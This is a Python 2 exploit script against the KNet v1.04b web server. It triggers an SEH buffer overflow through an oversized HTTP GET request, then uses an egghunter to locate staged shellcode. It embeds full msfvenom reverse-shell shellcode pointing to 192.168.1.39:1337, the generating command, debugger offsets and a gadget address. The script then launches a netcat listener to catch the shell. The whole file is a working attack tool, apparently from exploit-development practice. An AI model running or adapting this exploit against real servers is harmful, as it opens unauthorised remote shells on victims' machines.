#!/usr/bin/env python
import sys
import struct
import socket
import subprocess

'''
Colors & lambda
'''
__author__ = 'Amonsec'
__version__ = '1.0'

_RED = '\x1b[1;31m'
_BLU = '\x1b[1;34m'
_GRE = '\x1b[1;32m'
_RST = '\x1b[0;0;0m'

successMessage = lambda x: '{}[+]{} {}'.format(_GRE, _RST, x)
errorMessage = lambda x: '{}[-]{} {}'.format(_RED, _RST, x)
infoMessage = lambda x: '{}[*]{} {}'.format(_BLU, _RST, x)


'''
Checking Arguments
'''
if len(sys.argv) < 2:
	print errorMessage('Usage: {} <rhost> <rport>'.format(sys.argv[0]))
	sys.exit(1)
else:
	rhost = sys.argv[1]
	rport = int(sys.argv[2])

'''
!mona findmsp
[+] Examining SEH chain
    SEH record (nseh field) at 0x0012ffc4 overwritten with normal pattern : 0x32704231 (offset 1235), followed by 52 bytes of cyclic data after the handler

Bachars: \x00

0x6c242427 : pop edi # pop esi # ret 0x04 | 
asciiprint,ascii {PAGE_EXECUTE_READ} [CRTDLL.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v4.00 (C:\Windows\system32\CRTDLL.dll)

Shellcode:
msfvenom --platform windows EXITFUNC=thread LPORT=1337 LHOST=192.168.1.39 \
-p windows/shell_reverse_tcp -a x86 -f python -v shellcode -b '\x00'
'''
shellcode =  ""
shellcode += "\xdb\xd7\xba\xa0\x74\x0d\x71\xd9\x74\x24\xf4\x58"
shellcode += "\x29\xc9\xb1\x52\x83\xe8\xfc\x31\x50\x13\x03\xf0"
shellcode += "\x67\xef\x84\x0c\x6f\x6d\x66\xec\x70\x12\xee\x09"
shellcode += "\x41\x12\x94\x5a\xf2\xa2\xde\x0e\xff\x49\xb2\xba"
shellcode += "\x74\x3f\x1b\xcd\x3d\x8a\x7d\xe0\xbe\xa7\xbe\x63"
shellcode += "\x3d\xba\x92\x43\x7c\x75\xe7\x82\xb9\x68\x0a\xd6"
shellcode += "\x12\xe6\xb9\xc6\x17\xb2\x01\x6d\x6b\x52\x02\x92"
shellcode += "\x3c\x55\x23\x05\x36\x0c\xe3\xa4\x9b\x24\xaa\xbe"
shellcode += "\xf8\x01\x64\x35\xca\xfe\x77\x9f\x02\xfe\xd4\xde"
shellcode += "\xaa\x0d\x24\x27\x0c\xee\x53\x51\x6e\x93\x63\xa6"
shellcode += "\x0c\x4f\xe1\x3c\xb6\x04\x51\x98\x46\xc8\x04\x6b"
shellcode += "\x44\xa5\x43\x33\x49\x38\x87\x48\x75\xb1\x26\x9e"
shellcode += "\xff\x81\x0c\x3a\x5b\x51\x2c\x1b\x01\x34\x51\x7b"
shellcode += "\xea\xe9\xf7\xf0\x07\xfd\x85\x5b\x40\x32\xa4\x63"
shellcode += "\x90\x5c\xbf\x10\xa2\xc3\x6b\xbe\x8e\x8c\xb5\x39"
shellcode += "\xf0\xa6\x02\xd5\x0f\x49\x73\xfc\xcb\x1d\x23\x96"
shellcode += "\xfa\x1d\xa8\x66\x02\xc8\x7f\x36\xac\xa3\x3f\xe6"
shellcode += "\x0c\x14\xa8\xec\x82\x4b\xc8\x0f\x49\xe4\x63\xea"
shellcode += "\x1a\xcb\xdc\xf5\xfd\xa3\x1e\xf5\x04\x0d\x96\x13"
shellcode += "\x6c\x7d\xfe\x8c\x19\xe4\x5b\x46\xbb\xe9\x71\x23"
shellcode += "\xfb\x62\x76\xd4\xb2\x82\xf3\xc6\x23\x63\x4e\xb4"
shellcode += "\xe2\x7c\x64\xd0\x69\xee\xe3\x20\xe7\x13\xbc\x77"
shellcode += "\xa0\xe2\xb5\x1d\x5c\x5c\x6c\x03\x9d\x38\x57\x87"
shellcode += "\x7a\xf9\x56\x06\x0e\x45\x7d\x18\xd6\x46\x39\x4c"
shellcode += "\x86\x10\x97\x3a\x60\xcb\x59\x94\x3a\xa0\x33\x70"
shellcode += "\xba\x8a\x83\x06\xc3\xc6\x75\xe6\x72\xbf\xc3\x19"
shellcode += "\xba\x57\xc4\x62\xa6\xc7\x2b\xb9\x62\xe7\xc9\x6b"
shellcode += "\x9f\x80\x57\xfe\x22\xcd\x67\xd5\x61\xe8\xeb\xdf"
shellcode += "\x19\x0f\xf3\xaa\x1c\x4b\xb3\x47\x6d\xc4\x56\x67"
shellcode += "\xc2\xe5\x72"

egghunter = ''
egghunter += '\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58'
egghunter += '\xcd\x2e\x3c\x05\x5a\x74\xef\xb8'
egghunter += '\x41\x6d\x6f\x6e'
egghunter += '\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7'

exploit = ''
exploit += '\x41' * 1235
exploit += struct.pack('<L', 0x06eb9090)  # next SEH
exploit += struct.pack('<L', 0x6c242427)  # SEH
exploit += '\x41' * 8
exploit += egghunter
exploit += '\x41' * (2000 - 1235 - 8 - 8 -len(egghunter))

stage = ''
stage += 'AmonAmon'
stage += shellcode

header = ''
header += 'GET {} HTTP/1.0\r\n'.format(exploit)
header += 'Host: 192.168.1.38\r\n'
header += 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n'
header += 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
header += 'Accept-Language: en-US,en;q=0.5\r\n'
header += 'Connection: close\r\n'
header += 'Upgrade-Insecure-Requests: 1\r\n'
header += '{}\r\n\r\n'.format(stage)

print infoMessage('KNet v1.04b Buffer Overflow exploit (SEH) + egghunter')
print infoMessage('Author: {}Amonsec{}'.format(_RED, _RST))
print ''
print errorMessage('This is not a reliable exploit, beceause the')
print errorMessage('POP POP RET address is inside an OS DLL.')

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((rhost, rport))
	s.send(header)
	print successMessage('Evil HTTP request successfully sent!')

	print infoMessage('Egghunter search your egg...')
	subprocess.call(['nc -lnvvp 1337'], shell=True)
except socket.error as error:
	print 'Error: \n{}\n'.format(str(error))
	sys.exit(1)
